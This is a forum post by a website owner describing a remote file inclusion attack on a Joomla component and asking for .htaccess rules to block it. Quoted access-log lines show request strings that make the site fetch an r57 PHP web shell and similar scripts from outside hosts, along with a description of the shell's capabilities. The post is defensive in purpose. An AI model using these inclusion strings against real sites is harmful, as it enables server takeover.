Is there a way to add a deny in the .htaccess to forbid redirects to .txt files? We were "hacked" so to speak by someone using a r57.txt file which used custom_pages to redirect to
88.234.215.86 - "GET /template_css.css HTTP/1.1" 404 500 "index.php?option=com_custompages&cpage=http://www.evilc0der.com/r57.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008031806 Minefield/3.0b5pre"
This script tells you everything about the server, execute a command on a server, allows you to edit a file, upload a file, download a file, find suid files, eval PHP code, upload or download files from remote server, ftp-bruteforce, etc. Nice, eh?
We were hit at 12:03p and we found it at 12:17p. Removed it and all. Soon after, we had a ton of tries with various ending scripts:
80.67.21.105 - "GET /index.php?option=com_custompages&Itemid=62//index.php?option=com_custompages&cpage=http://www.xdccshare.helloweb.eu/stringa.txt? HTTP/1.1" 403 776 "-" "libwww-perl/5.808"
They didn't get anywhere at all but they're persistent little b's

/
The component was removed and we swept through the site and don't see anything other than a kiddie saying we were owned on the main page (not a very creative guy, btw) ... We spent hours upon hours checking every damn file not to mention looking at the database for odd info.

Is there a way to absolutely make sure redirects to a txt file are denied?
Another thing we noticed was someone trying to do:
/classes/core/language.php?rootdir=http://bashdrfunk.fileave.com/t.txt???
It didn't work but as I said, I'd be more comfortable making sure that we can kill that altogether.
Another thing, shouldn't this work?
<IfModule setenvif_module>
BrowserMatchNoCase ^libwww-perl* evildoer
</IfModule>
Deny from env=evildoer
Thanks in advance.